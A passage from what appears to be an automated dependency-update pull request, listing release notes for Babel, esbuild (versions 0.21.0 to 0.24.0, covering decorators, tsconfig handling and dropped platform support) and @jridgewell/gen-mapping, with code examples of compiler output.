experimental_useHermesParseroption inpreset-flow(@liuxingbaoyu)babel-helper-import-to-platform-api,babel-plugin-proposal-import-wasm-source,babel-plugin-proposal-json-modules,babel-standalone
- #16172 Add transform support for JSON modules imports (@nicolo-ribaudo)
babel-plugin-transform-runtime
- #16241 Add back
moduleNameoption to@babel/plugin-transform-runtime(@nicolo-ribaudo)babel-parser,babel-types
- #16277 Allow import attributes for
TSImportType(@sosukesuzuki)🐛 Bug Fix
babel-plugin-proposal-do-expressions,babel-traversebabel-helper-create-class-features-plugin,babel-plugin-transform-private-methods,babel-plugin-transform-private-property-in-object
- #16312 Fix class private properties when
privateFieldsAsSymbols(@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-plugin-transform-private-methods
- #16307 Fix the support of
argumentsin privateget/setmethod (@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators
- #16287 Reduce decorator static property size (@liuxingbaoyu)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators
- #16281 Fix evaluation order of decorators with cached receiver (@nicolo-ribaudo)
- #16279 Fix decorator this memoization (@JLHwung)
- #16266 Preserve
staticon decorated privateaccessor(@nicolo-ribaudo)- #16258 fix: handle decorated async private method and generator (@JLHwung)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-async-generator-functions,babel-plugin-transform-private-methods,babel-plugin-transform-private-property-in-object,babel-plugin-transform-typescript,babel-preset-env
- #16275 Fix class private properties when
privateFieldsAsProperties(@liuxingbaoyu)babel-helpers
- #16268 Do not consider
argumentsin a helper as a global reference (@nicolo-ribaudo)babel-helpers,babel-plugin-proposal-decorators
- #16270 Handle symbol key class elements decoration (@JLHwung)
- #16265 Do not define
access.getfor public setter decorators (@nicolo-ribaudo)💅 Polish
babel-core,babel-helper-create-class-features-plugin,babel-preset-env
- #12428 Suggest using
BABEL_SHOW_CONFIG_FORfor config problems (@nicolo-ribaudo)🏠 Internal
babel-helper-transform-fixture-test-runner
- #16278 Continue writing
output.jswhenexec.jsthrows (@liuxingbaoyu)🔬 Output optimization
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators
- #16306 Avoid intermediate functions for private accessors with decs (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators,babel-plugin-proposal-pipeline-operator,babel-plugin-transform-class-properties
- #16294 More aggressively inline decorators in the static block (@nicolo-ribaudo)
babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-transform-private-methods
- #16283 Do not use
classPrivateMethodGet(@liuxingbaoyu)babel-helper-create-class-features-plugin,babel-helpers,babel-plugin-proposal-decorators
- #16287 Reduce decorator static property size (@liuxingbaoyu)
babel-helper-create-class-features-plugin,babel-plugin-proposal-decorators,babel-plugin-transform-class-propertiesbabel-helper-create-class-features-plugin,babel-helper-fixtures,babel-helpers,babel-plugin-bugfix-v8-spread-parameters-in-optional-chaining,babel-plugin-proposal-decorators,babel-plugin-proposal-destructuring-private,babel-plugin-proposal-optional-chaining-assign,babel-plugin-transform-class-properties,babel-plugin-transform-class-static-block,babel-plugin-transform-private-methods,babel-plugin-transform-private-property-in-object,babel-preset-env,babel-runtime-corejs2,babel-runtime-corejs3,babel-runtime
- #16261 Do not use descriptors for private class elements (@nicolo-ribaudo)
babel-helpers,babel-plugin-proposal-decorators
- #16263 Reduce helper size for decorator 2023-11 (@liuxingbaoyu)
Committers: 7
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Nicolò Ribaudo (@nicolo-ribaudo)
- SUZUKI Sosuke (@sosukesuzuki)
- Yarden Shoham (@yardenshoham)
- @liuxingbaoyu
- flyafly (@ajihyf)
7.22.5
v7.22.5 (2023-06-08)
🐛 Bug Fix
babel-preset-env,babel-standalone
- #15675 Fix using
syntax-unicode-sets-regexin standalone (@nicolo-ribaudo)
💅 Polish
babel-core
- #15683 Suggest
-transform-when resolving missing plugins (@nicolo-ribaudo)Committers: 4
- Avery (@nullableVoidPtr)
- Babel Bot (@babel-bot)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
7.21.5
v7.21.5 (2023-04-28)
👓 Spec Compliance
babel-generator,babel-parser,babel-types
- #15539 fix: Remove
mixinsandimplementsforDeclareInterfaceandInterfaceDeclaration(@liuxingbaoyu)
🐛 Bug Fix
babel-core,babel-generator,babel-plugin-transform-modules-commonjs,babel-plugin-transform-react-jsx
- #15515 fix:
)position withcreateParenthesizedExpressions(@liuxingbaoyu)babel-preset-env
💅 Polish
babel-types
- #15546 Improve the layout of generated validators (@liuxingbaoyu)
babel-core
- #15535 Use
ltinstead oflteto check TS version for .cts config (@nicolo-ribaudo)
🏠 Internal
babel-core
- #15575 Use synchronous
import.meta.resolve(@nicolo-ribaudo)babel-helper-fixtures,babel-preset-typescriptbabel-helper-create-class-features-plugin,babel-helper-create-regexp-features-plugin
- #15548 Use
semverpackage to compare versions (@nicolo-ribaudo)Committers: 4
- Babel Bot (@babel-bot)
- Huáng Jùnliàng (@JLHwung)
- Nicolò Ribaudo (@nicolo-ribaudo)
- @liuxingbaoyu
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @babel/helpers (indirect, 7.20.1 → 7.26.0) · Repo · Changelog
Release Notes
Too many releases to show here. View the full release notes.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @esbuild/android-arm (indirect, 0.15.15 → 0.24.0) · Repo · Changelog
Release Notes
0.24.0
This release deliberately contains backwards-incompatible changes. To avoid automatically picking up releases like this, you should either be pinning the exact version of
esbuildin yourpackage.jsonfile (recommended) or be using a version range syntax that only accepts patch upgrades such as^0.23.0or~0.23.0. See npm's documentation about semver for more information.
Drop support for older platforms (#3902)
This release drops support for the following operating system:
- macOS 10.15 Catalina
This is because the Go programming language dropped support for this operating system version in Go 1.23, and this release updates esbuild from Go 1.22 to Go 1.23. Go 1.23 now requires macOS 11 Big Sur or later.
Note that this only affects the binary esbuild executables that are published to the esbuild npm package. It's still possible to compile esbuild's source code for these older operating systems. If you need to, you can compile esbuild for yourself using an older version of the Go compiler (before Go version 1.23). That might look something like this:
git clone https://github.com/evanw/esbuild.git cd esbuild go build ./cmd/esbuild ./esbuild --versionFix class field decorators in TypeScript if
useDefineForClassFieldsisfalse(#3913)Setting the
useDefineForClassFieldsflag tofalseintsconfig.jsonmeans class fields use the legacy TypeScript behavior instead of the standard JavaScript behavior. Specifically they use assign semantics instead of define semantics (e.g. setters are triggered) and fields without an initializer are not initialized at all. However, when this legacy behavior is combined with standard JavaScript decorators, TypeScript switches to always initializing all fields, even those without initializers. Previously esbuild incorrectly continued to omit field initializers for this edge case. These field initializers in this case should now be emitted starting with this release.Avoid incorrect cycle warning with
tsconfig.jsonmultiple inheritance (#3898)TypeScript 5.0 introduced multiple inheritance for
tsconfig.jsonfiles whereextendscan be an array of file paths. Previously esbuild would incorrectly treat files encountered more than once when processing separate subtrees of the multiple inheritance hierarchy as an inheritance cycle. With this release,tsconfig.jsonfiles containing this edge case should work correctly without generating a warning.Handle Yarn Plug'n'Play stack overflow with
tsconfig.json(#3915)Previously a
tsconfig.jsonfile thatextendsanother file in a package with anexportsmap could cause a stack overflow when Yarn's Plug'n'Play resolution was active. This edge case should work now starting with this release.Work around more issues with Deno 1.31+ (#3917)
This version of Deno broke the
stdinandstdoutproperties on command objects for inherited streams, which matters when you run esbuild's Deno module as the entry point (i.e. whenimport.meta.mainistrue). Previously esbuild would crash in Deno 1.31+ if you ran esbuild like that. This should be fixed starting with this release.This fix was contributed by @Joshix-1.
0.23.1
Allow using the
node:import prefix withes*targets (#3821)The
node:prefix on imports is an alternate way to import built-in node modules. For example,import fs from "fs"can also be writtenimport fs from "node:fs". This only works with certain newer versions of node, so esbuild removes it when you target older versions of node such as with--target=node14so that your code still works. With the way esbuild's platform-specific feature compatibility table works, this was added by saying that only newer versions of node support this feature. However, that means that a target such as--target=node18,es2022removes thenode:prefix because none of thees*targets are known to support this feature. This release adds the support for thenode:flag to esbuild's internal compatibility table fores*to allow you to use compound targets like this:// Original code import fs from 'node:fs' fs.open // Old output (with --bundle --format=esm --platform=node --target=node18,es2022) import fs from "fs"; fs.open; // New output (with --bundle --format=esm --platform=node --target=node18,es2022) import fs from "node:fs"; fs.open;Fix a panic when using the CLI with invalid build flags if
--analyzeis present (#3834)Previously esbuild's CLI could crash if it was invoked with flags that aren't valid for a "build" API call and the
--analyzeflag is present. This was caused by esbuild's internals attempting to add a Go plugin (which is how--analyzeis implemented) to a null build object. The panic has been fixed in this release.Fix incorrect location of certain error messages (#3845)
This release fixes a regression that caused certain errors relating to variable declarations to be reported at an incorrect location. The regression was introduced in version 0.18.7 of esbuild.
Print comments before case clauses in switch statements (#3838)
With this release, esbuild will attempt to print comments that come before case clauses in switch statements. This is similar to what esbuild already does for comments inside of certain types of expressions. Note that these types of comments are not printed if minification is enabled (specifically whitespace minification).
Fix a memory leak with
pluginData(#3825)With this release, the build context's internal
pluginDatacache will now be cleared when starting a new build. This should fix a leak of memory from plugins that returnpluginDataobjects fromonResolveand/oronLoadcallbacks.
0.23.0
This release deliberately contains backwards-incompatible changes. To avoid automatically picking up releases like this, you should either be pinning the exact version of
esbuildin yourpackage.jsonfile (recommended) or be using a version range syntax that only accepts patch upgrades such as^0.22.0or~0.22.0. See npm's documentation about semver for more information.
Revert the recent change to avoid bundling dependencies for node (#3819)
This release reverts the recent change in version 0.22.0 that made
--packages=externalthe default behavior with--platform=node. The default is now back to--packages=bundle.I've just been made aware that Amazon doesn't pin their dependencies in their "AWS CDK" product, which means that whenever esbuild publishes a new release, many people (potentially everyone?) using their SDK around the world instantly starts using it without Amazon checking that it works first. This change in version 0.22.0 happened to break their SDK. I'm amazed that things haven't broken before this point. This revert attempts to avoid these problems for Amazon's customers. Hopefully Amazon will pin their dependencies in the future.
In addition, this is probably a sign that esbuild is used widely enough that it now needs to switch to a more complicated release model. I may have esbuild use a beta channel model for further development.
Fix preserving collapsed JSX whitespace (#3818)
When transformed, certain whitespace inside JSX elements is ignored completely if it collapses to an empty string. However, the whitespace should only be ignored if the JSX is being transformed, not if it's being preserved. This release fixes a bug where esbuild was previously incorrectly ignoring collapsed whitespace with
--jsx=preserve. Here is an example:// Original code <Foo> <Bar /> </Foo> // Old output (with --jsx=preserve) <Foo><Bar /></Foo>; // New output (with --jsx=preserve) <Foo> <Bar /> </Foo>;
0.22.0
This release deliberately contains backwards-incompatible changes. To avoid automatically picking up releases like this, you should either be pinning the exact version of
esbuildin yourpackage.jsonfile (recommended) or be using a version range syntax that only accepts patch upgrades such as^0.21.0or~0.21.0. See npm's documentation about semver for more information.
Omit packages from bundles by default when targeting node (#1874, #2830, #2846, #2915, #3145, #3294, #3323, #3582, #3809, #3815)
This breaking change is an experiment. People are commonly confused when using esbuild to bundle code for node (i.e. for
--platform=node) because some packages may not be intended for bundlers, and may use node-specific features that don't work with a bundler. Even though esbuild's "getting started" instructions say to use--packages=externalto work around this problem, many people don't read the documentation and don't do this, and are then confused when it doesn't work. So arguably this is a bad default behavior for esbuild to have if people keep tripping over this.With this release, esbuild will now omit packages from the bundle by default when the platform is
node(i.e. the previous behavior of--packages=externalis now the default in this case). Note that your dependencies must now be present on the file system when your bundle is run. If you don't want this behavior, you can do--packages=bundleto allow packages to be included in the bundle (i.e. the previous default behavior). Note that--packages=bundledoesn't mean all packages are bundled, just that packages are allowed to be bundled. You can still exclude individual packages from the bundle using--external:even when--packages=bundleis present.The
--packages=setting considers all import paths that "look like" package imports in the original source code to be package imports. Specifically import paths that don't start with a path segment of/or.or..are considered to be package imports. The only two exceptions to this rule are subpath imports (which start with a#character) and TypeScript path remappings viapathsand/orbaseUrlintsconfig.json(which are applied first).Drop support for older platforms (#3802)
This release drops support for the following operating systems:
- Windows 7
- Windows 8
- Windows Server 2008
- Windows Server 2012
This is because the Go programming language dropped support for these operating system versions in Go 1.21, and this release updates esbuild from Go 1.20 to Go 1.22.
Note that this only affects the binary esbuild executables that are published to the
esbuildnpm package. It's still possible to compile esbuild's source code for these older operating systems. If you need to, you can compile esbuild for yourself using an older version of the Go compiler (before Go version 1.21). That might look something like this:git clone https://github.com/evanw/esbuild.git cd esbuild go build ./cmd/esbuild ./esbuild.exe --versionIn addition, this release increases the minimum required node version for esbuild's JavaScript API from node 12 to node 18. Node 18 is the oldest version of node that is still being supported (see node's release schedule for more information). This increase is because of an incompatibility between the JavaScript that the Go compiler generates for the
esbuild-wasmpackage and versions of node before node 17.4 (specifically thecrypto.getRandomValuesfunction).Update
await usingbehavior to match TypeScriptTypeScript 5.5 subtly changes the way
await usingbehaves. This release updates esbuild to match these changes in TypeScript. You can read more about these changes in microsoft/TypeScript#58624.Allow
es2024as a target environmentThe ECMAScript 2024 specification was just approved, so it has been added to esbuild as a possible compilation target. You can read more about the features that it adds here: https://2ality.com/2024/06/ecmascript-2024.html. The only addition that's relevant for esbuild is the regular expression
/vflag. With--target=es2024, regular expressions that use the/vflag will now be passed through untransformed instead of being transformed into a call tonew RegExp.Publish binaries for OpenBSD on 64-bit ARM (#3665, #3674)
With this release, you should now be able to install the
esbuildnpm package in OpenBSD on 64-bit ARM, such as on an Apple device with an M1 chip.This was contributed by @ikmckenz.
Publish binaries for WASI (WebAssembly System Interface) preview 1 (#3300, #3779)
The upcoming WASI (WebAssembly System Interface) standard is going to be a way to run WebAssembly outside of a JavaScript host environment. In this scenario you only need a
.wasmfile without any supporting JavaScript code. Instead of JavaScript providing the APIs for the host environment, the WASI standard specifies a "system interface" that WebAssembly code can access directly (e.g. for file system access).Development versions of the WASI specification are being released using preview numbers. The people behind WASI are currently working on preview 2 but the Go compiler has released support for preview 1, which from what I understand is now considered an unsupported legacy release. However, some people have requested that esbuild publish binary executables that support WASI preview 1 so they can experiment with them.
This release publishes esbuild precompiled for WASI preview 1 to the
@esbuild/wasi-preview1package on npm (specifically the file@esbuild/wasi-preview1/esbuild.wasm). This binary executable has not been tested and won't be officially supported, as it's for an old preview release of a specification that has since moved in another direction. If it works for you, great! If not, then you'll likely have to wait for the ecosystem to evolve before using esbuild with WASI. For example, it sounds like perhaps WASI preview 1 doesn't include support for opening network sockets so esbuild's local development server is unlikely to work with WASI preview 1.Warn about
onResolveplugins not setting a path (#3790)Plugins that return values from
onResolvewithout resolving the path (i.e. without setting eitherpathorexternal: true) will now cause a warning. This is because esbuild only uses return values fromonResolveif it successfully resolves the path, and it's not good for invalid input to be silently ignored.Add a new Go API for running the CLI with plugins (#3539)
With esbuild's Go API, you can now call
cli.RunWithPlugins(args, plugins)to pass an array of esbuild plugins to be used during the build process. This allows you to create a CLI that behaves similarly to esbuild's CLI but with additional Go plugins enabled.This was contributed by @edewit.
0.21.5
Fix
Symbol.metadataon classes without a class decorator (#3781)This release fixes a bug with esbuild's support for the decorator metadata proposal. Previously esbuild only added the
Symbol.metadataproperty to decorated classes if there was a decorator on the class element itself. However, the proposal says that theSymbol.metadataproperty should be present on all classes that have any decorators at all, not just those with a decorator on the class element itself.Allow unknown import attributes to be used with the
copyloader (#3792)Import attributes (the
withkeyword onimportstatements) are allowed to alter how that path is loaded. For example, esbuild cannot assume that it knows how to load./bagel.jsas typebagel:// This is an error with "--bundle" without also using "--external:./bagel.js" import tasty from "./bagel.js" with { type: "bagel" }Because of that, bundling this code with esbuild is an error unless the file
./bagel.jsis external to the bundle (such as with--bundle --external:./bagel.js).However, there is an additional case where it's ok for esbuild to allow this: if the file is loaded using the
copyloader. That's because thecopyloader behaves similarly to--externalin that the file is left external to the bundle. The difference is that thecopyloader copies the file into the output folder and rewrites the import path while--externaldoesn't. That means the following will now work with thecopyloader (such as with--bundle --loader:.bagel=copy):// This is no longer an error with "--bundle" and "--loader:.bagel=copy" import tasty from "./tasty.bagel" with { type: "bagel" }Support import attributes with glob-style imports (#3797)
This release adds support for import attributes (the
withoption) to glob-style imports (dynamic imports with certain string literal patterns as paths). These imports previously didn't support import attributes due to an oversight. So code like this will now work correctly:async function loadLocale(locale: string): Locale { const data = await import(`./locales/${locale}.data`, { with: { type: 'json' } }) return unpackLocale(locale, data) }Previously this didn't work even though esbuild normally supports forcing the JSON loader using an import attribute. Attempting to do this used to result in the following error:
✘ [ERROR] No loader is configured for ".data" files: locales/en-US.data example.ts:2:28: 2 │ const data = await import(`./locales/${locale}.data`, { with: { type: 'json' } }) ╵ ~~~~~~~~~~~~~~~~~~~~~~~~~~In addition, this change means plugins can now access the contents of
withfor glob-style imports.Support
${configDir}intsconfig.jsonfiles (#3782)This adds support for a new feature from the upcoming TypeScript 5.5 release. The character sequence
${configDir}is now respected at the start ofbaseUrlandpathsvalues, which are used by esbuild during bundling to correctly map import paths to file system paths. This feature lets basetsconfig.jsonfiles specified viaextendsrefer to the directory of the top-leveltsconfig.jsonfile. Here is an example:{ "compilerOptions": { "paths": { "js/*": ["${configDir}/dist/js/*"] } } }You can read more in TypeScript's blog post about their upcoming 5.5 release. Note that this feature does not make use of template literals (you need to use
"${configDir}/dist/js/*"not`${configDir}/dist/js/*`). The syntax fortsconfig.jsonis still just JSON with comments, and JSON syntax does not allow template literals. This feature only recognizes${configDir}in strings for certain path-like properties, and only at the beginning of the string.Fix internal error with
--supported:object-accessors=false(#3794)This release fixes a regression in 0.21.0 where some code that was added to esbuild's internal runtime library of helper functions for JavaScript decorators fails to parse when you configure esbuild with
--supported:object-accessors=false. The reason is that esbuild introduced code that does{ get [name]() {} }which uses both theobject-extensionsfeature for the[name]and theobject-accessorsfeature for theget, but esbuild was incorrectly only checking forobject-extensionsand not forobject-accessors. Additional tests have been added to avoid this type of issue in the future. A workaround for this issue in earlier releases is to also add--supported:object-extensions=false.
0.21.4
Update support for import assertions and import attributes in node (#3778)
Import assertions (the
assertkeyword) have been removed from node starting in v22.0.0. So esbuild will now strip them and generate a warning with--target=node22or above:▲ [WARNING] The "assert" keyword is not supported in the configured target environment ("node22") [assert-to-with] example.mjs:1:40: 1 │ import json from "esbuild/package.json" assert { type: "json" } │ ~~~~~~ ╵ with Did you mean to use "with" instead of "assert"?Import attributes (the
withkeyword) have been backported to node 18 starting in v18.20.0. So esbuild will no longer strip them with--target=node18.NifNis 20 or greater.Fix
for awaittransform when a label is presentThis release fixes a bug where the
for awaittransform, which wraps the loop in atrystatement, previously failed to also move the loop's label into thetrystatement. This bug only affects code that uses both of these features in combination. Here's an example of some affected code:// Original code async function test() { outer: for await (const x of [Promise.resolve([0, 1])]) { for (const y of x) if (y) break outer throw 'fail' } } // Old output (with --target=es6) function test() { return __async(this, null, function* () { outer: try { for (var iter = __forAwait([Promise.resolve([0, 1])]), more, temp, error; more = !(temp = yield iter.next()).done; more = false) { const x = temp.value; for (const y of x) if (y) break outer; throw "fail"; } } catch (temp) { error = [temp]; } finally { try { more && (temp = iter.return) && (yield temp.call(iter)); } finally { if (error) throw error[0]; } } }); } // New output (with --target=es6) function test() { return __async(this, null, function* () { try { outer: for (var iter = __forAwait([Promise.resolve([0, 1])]), more, temp, error; more = !(temp = yield iter.next()).done; more = false) { const x = temp.value; for (const y of x) if (y) break outer; throw "fail"; } } catch (temp) { error = [temp]; } finally { try { more && (temp = iter.return) && (yield temp.call(iter)); } finally { if (error) throw error[0]; } } }); }Do additional constant folding after cross-module enum inlining (#3416, #3425)
This release adds a few more cases where esbuild does constant folding after cross-module enum inlining.
// Original code: enum.ts export enum Platform { WINDOWS = 'windows', MACOS = 'macos', LINUX = 'linux', } // Original code: main.ts import { Platform } from './enum'; declare const PLATFORM: string; export function logPlatform() { if (PLATFORM == Platform.WINDOWS) console.log('Windows'); else if (PLATFORM == Platform.MACOS) console.log('macOS'); else if (PLATFORM == Platform.LINUX) console.log('Linux'); else console.log('Other'); } // Old output (with --bundle '--define:PLATFORM="macos"' --minify --format=esm) function n(){"windows"=="macos"?console.log("Windows"):"macos"=="macos"?console.log("macOS"):"linux"=="macos"?console.log("Linux"):console.log("Other")}export{n as logPlatform}; // New output (with --bundle '--define:PLATFORM="macos"' --minify --format=esm) function n(){console.log("macOS")}export{n as logPlatform};Pass import attributes to on-resolve plugins (#3384, #3639, #3646)
With this release, on-resolve plugins will now have access to the import attributes on the import via the
withproperty of the arguments object. This mirrors thewithproperty of the arguments object that's already passed to on-load plugins. In addition, you can now passwithto theresolve()API call which will then forward that value on to all relevant plugins. Here's an example of a plugin that can now be written:const examplePlugin = { name: 'Example plugin', setup(build) { build.onResolve({ filter: /.*/ }, args => { if (args.with.type === 'external') return { external: true } }) } } require('esbuild').build({ stdin: { contents: ` import foo from "./foo" with { type: "external" } foo() `, }, bundle: true, format: 'esm', write: false, plugins: [examplePlugin], }).then(result => { console.log(result.outputFiles[0].text) })Formatting support for the
@position-tryrule (#3773)Chrome shipped this new CSS at-rule in version 125 as part of the CSS anchor positioning API. With this release, esbuild now knows to expect a declaration list inside of the
@position-trybody block and will format it appropriately.Always allow internal string import and export aliases (#3343)
Import and export names can be string literals in ES2022+. Previously esbuild forbid any usage of these aliases when the target was below ES2022. Starting with this release, esbuild will only forbid such usage when the alias would otherwise end up in output as a string literal. String literal aliases that are only used internally in the bundle and are "compiled away" are no longer errors. This makes it possible to use string literal aliases with esbuild's
injectfeature even when the target is earlier than ES2022.
0.21.3
Implement the decorator metadata proposal (#3760)
This release implements the decorator metadata proposal, which is a sub-proposal of the decorators proposal. Microsoft shipped the decorators proposal in TypeScript 5.0 and the decorator metadata proposal in TypeScript 5.2, so it's important that esbuild also supports both of these features. Here's a quick example:
// Shim the "Symbol.metadata" symbol Symbol.metadata ??= Symbol('Symbol.metadata') const track = (_, context) => { (context.metadata.names ||= []).push(context.name) } class Foo { @track foo = 1 @track bar = 2 } // Prints ["foo", "bar"] console.log(Foo[Symbol.metadata].names)
⚠️ WARNING⚠️ This proposal has been marked as "stage 3" which means "recommended for implementation". However, it's still a work in progress and isn't a part of JavaScript yet, so keep in mind that any code that uses JavaScript decorator metadata may need to be updated as the feature continues to evolve. If/when that happens, I will update esbuild's implementation to match the specification. I will not be supporting old versions of the specification.
Fix bundled decorators in derived classes (#3768)
In certain cases, bundling code that uses decorators in a derived class with a class body that references its own class name could previously generate code that crashes at run-time due to an incorrect variable name. This problem has been fixed. Here is an example of code that was compiled incorrectly before this fix:
class Foo extends Object { @(x => x) foo() { return Foo } } console.log(new Foo().foo())Fix
tsconfig.jsonfiles inside symlinked directories (#3767)This release fixes an issue with a scenario involving a
tsconfig.jsonfile thatextendsanother file from within a symlinked directory that uses thepathsfeature. In that case, the implicitbaseURLvalue should be based on the real path (i.e. after expanding all symbolic links) instead of the original path. This was already done for other files that esbuild resolves but was not yet done fortsconfig.jsonbecause it's special-cased (the regular path resolver can't be used because the information insidetsconfig.jsonis involved in path resolution). Note that this fix no longer applies if the--preserve-symlinkssetting is enabled.
0.21.2
Correct
thisin field and accessor decorators (#3761)This release changes the value of
thisin initializers for class field and accessor decorators from the module-levelthisvalue to the appropriatethisvalue for the decorated element (either the class or the instance). It was previously incorrect due to lack of test coverage. Here's an example of a decorator that doesn't work without this change:const dec = () => function() { this.bar = true } class Foo { @dec static foo } console.log(Foo.bar) // Should be "true"Allow
es2023as a target environment (#3762)TypeScript recently added
es2023as a compilation target, so esbuild now supports this too. There is no difference between a target ofes2022andes2023as far as esbuild is concerned since the 2023 edition of JavaScript doesn't introduce any new syntax features.
0.21.1
Fix a regression with
--keep-names(#3756)The previous release introduced a regression with the
--keep-namessetting and object literals withget/setaccessor methods, in which case the generated code contained syntax errors. This release fixes the regression:// Original code x = { get y() {} } // Output from version 0.21.0 (with --keep-names) x = { get y: /* @__PURE__ */ __name(function() { }, "y") }; // Output from this version (with --keep-names) x = { get y() { } };
0.21.0
This release doesn't contain any deliberately-breaking changes. However, it contains a very complex new feature and while all of esbuild's tests pass, I would not be surprised if an important edge case turns out to be broken. So I'm releasing this as a breaking change release to avoid causing any trouble. As usual, make sure to test your code when you upgrade.
Implement the JavaScript decorators proposal (#104)
With this release, esbuild now contains an implementation of the upcoming JavaScript decorators proposal. This is the same feature that shipped in TypeScript 5.0 and has been highly-requested on esbuild's issue tracker. You can read more about them in that blog post and in this other (now slightly outdated) extensive blog post here: https://2ality.com/2022/10/javascript-decorators.html. Here's a quick example:
const log = (fn, context) => function() { console.log(`before ${context.name}`) const it = fn.apply(this, arguments) console.log(`after ${context.name}`) return it } class Foo { @log static foo() { console.log('in foo') } } // Logs "before foo", "in foo", "after foo" Foo.foo()Note that this feature is different than the existing "TypeScript experimental decorators" feature that esbuild already implements. It uses similar syntax but behaves very differently, and the two are not compatible (although it's sometimes possible to write decorators that work with both). TypeScript experimental decorators will still be supported by esbuild going forward as they have been around for a long time, are very widely used, and let you do certain things that are not possible with JavaScript decorators (such as decorating function parameters). By default esbuild will parse and transform JavaScript decorators, but you can tell esbuild to parse and transform TypeScript experimental decorators instead by setting
"experimentalDecorators": truein yourtsconfig.jsonfile.Probably at least half of the work for this feature went into creating a test suite that exercises many of the proposal's edge cases: https://github.com/evanw/decorator-tests. It has given me a reasonable level of confidence that esbuild's initial implementation is acceptable. However, I don't have access to a significant sample of real code that uses JavaScript decorators. If you're currently using JavaScript decorators in a real code base, please try out esbuild's implementation and let me know if anything seems off.
⚠️ WARNING⚠️ This proposal has been in the works for a very long time (work began around 10 years ago in 2014) and it is finally getting close to becoming part of the JavaScript language. However, it's still a work in progress and isn't a part of JavaScript yet, so keep in mind that any code that uses JavaScript decorators may need to be updated as the feature continues to evolve. The decorators proposal is pretty close to its final form but it can and likely will undergo some small behavioral adjustments before it ends up becoming a part of the standard. If/when that happens, I will update esbuild's implementation to match the specification. I will not be supporting old versions of the specification.
Optimize the generated code for private methods
Previously when lowering private methods for old browsers, esbuild would generate one
WeakSetfor each private method. This mirrors similar logic for generating oneWeakSetfor each private field. Using a separateWeakMapfor private fields is necessary as their assignment can be observable:let it class Bar { constructor() { it = this } } class Foo extends Bar { #x = 1 #y = null.foo static check() { console.log(#x in it, #y in it) } } try { new Foo } catch {} Foo.check()This prints
true falsebecause this partially-initialized instance has#xbut not#y. In other words, it's not true that all class instances will always have all of their private fields. However, the assignment of private methods to a class instance is not observable. In other words, it's true that all class instances will always have all of their private methods. This means esbuild can lower private methods into code where all methods share a singleWeakSet, which is smaller, faster, and uses less memory. Other JavaScript processing tools such as the TypeScript compiler already make this optimization. Here's what this change looks like:// Original code class Foo { #x() { return this.#x() } #y() { return this.#y() } #z() { return this.#z() } } // Old output (--supported:class-private-method=false) var _x, x_fn, _y, y_fn, _z, z_fn; class Foo { constructor() { __privateAdd(this, _x); __privateAdd(this, _y); __privateAdd(this, _z); } } _x = new WeakSet(); x_fn = function() { return __privateMethod(this, _x, x_fn).call(this); }; _y = new WeakSet(); y_fn = function() { return __privateMethod(this, _y, y_fn).call(this); }; _z = new WeakSet(); z_fn = function() { return __privateMethod(this, _z, z_fn).call(this); }; // New output (--supported:class-private-method=false) var _Foo_instances, x_fn, y_fn, z_fn; class Foo { constructor() { __privateAdd(this, _Foo_instances); } } _Foo_instances = new WeakSet(); x_fn = function() { return __privateMethod(this, _Foo_instances, x_fn).call(this); }; y_fn = function() { return __privateMethod(this, _Foo_instances, y_fn).call(this); }; z_fn = function() { return __privateMethod(this, _Foo_instances, z_fn).call(this); };Fix an obscure bug with lowering class members with computed property keys
When class members that use newer syntax features are transformed for older target environments, they sometimes need to be relocated. However, care must be taken to not reorder any side effects caused by computed property keys. For example, the following code must evaluate
a()thenb()thenc():class Foo { [a()]() {} [b()]; static { c() } }Previously esbuild did this by shifting the computed property key forward to the next spot in the evaluation order. Classes evaluate all computed keys first and then all static class elements, so if the last computed key needs to be shifted, esbuild previously inserted a static block at start of the class body, ensuring it came before all other static class elements:
var _a; class Foo { constructor() { __publicField(this, _a); } static { _a = b(); } [a()]() { } static { c(); } }However, this could cause esbuild to accidentally generate a syntax error if the computed property key contains code that isn't allowed in a static block, such as an
awaitexpression. With this release, esbuild fixes this problem by shifting the computed property key backward to the previous spot in the evaluation order instead, which may push it into theextendsclause or even before the class itself:// Original code class Foo { [a()]() {} [await b()]; static { c() } } // Old output (with --supported:class-field=false) var _a; class Foo { constructor() { __publicField(this, _a); } static { _a = await b(); } [a()]() { } static { c(); } } // New output (with --supported:class-field=false) var _a, _b; class Foo { constructor() { __publicField(this, _a); } [(_b = a(), _a = await b(), _b)]() { } static { c(); } }Fix some
--keep-namesedge casesThe
NamedEvaluationsyntax-directed operation in the JavaScript specification gives certain anonymous expressions anameproperty depending on where they are in the syntax tree. For example, the following initializers convey anamevalue:var foo = function() {} var bar = class {} console.log(foo.name, bar.name)When you enable esbuild's
--keep-namessetting, esbuild generates additional code to represent thisNamedEvaluationoperation so that the value of thenameproperty persists even when the identifiers are renamed (e.g. due to minification).However, I recently learned that esbuild's implementation of
NamedEvaluationis missing a few cases. Specifically esbuild was missing property definitions, class initializers, logical-assignment operators. These cases should now all be handled:var obj = { foo: function() {} } class Foo0 { foo = function() {} } class Foo1 { static foo = function() {} } class Foo2 { accessor foo = function() {} } class Foo3 { static accessor foo = function() {} } foo ||= function() {} foo &&= function() {} foo ??= function() {}
Does any of this look wrong? Please let us know.
Commits
See the full diff on Github. The new version differs by more commits than we can show here.
↗️ @jridgewell/gen-mapping (indirect, 0.1.1 → 0.3.8) · Repo
Release Notes
0.3.5
What's Changed
- Add
ignoreListsupport: 9add0c2Full Changelog: v0.3.4...v0.3.5
0.3.4
Full Changelog: v0.3.3...v0.3.4
0.3.3
Full Changelog: v0.3.2...v0.3.3
0.3.2
Internal
- [meta] fix "exports" for node 13.0-13.6 by @ljharb in #4
- Fix built sources paths
New Contributors
Full Changelog: v0.3.1...v0.3.2
Does any of this look wrong? Please let us know.
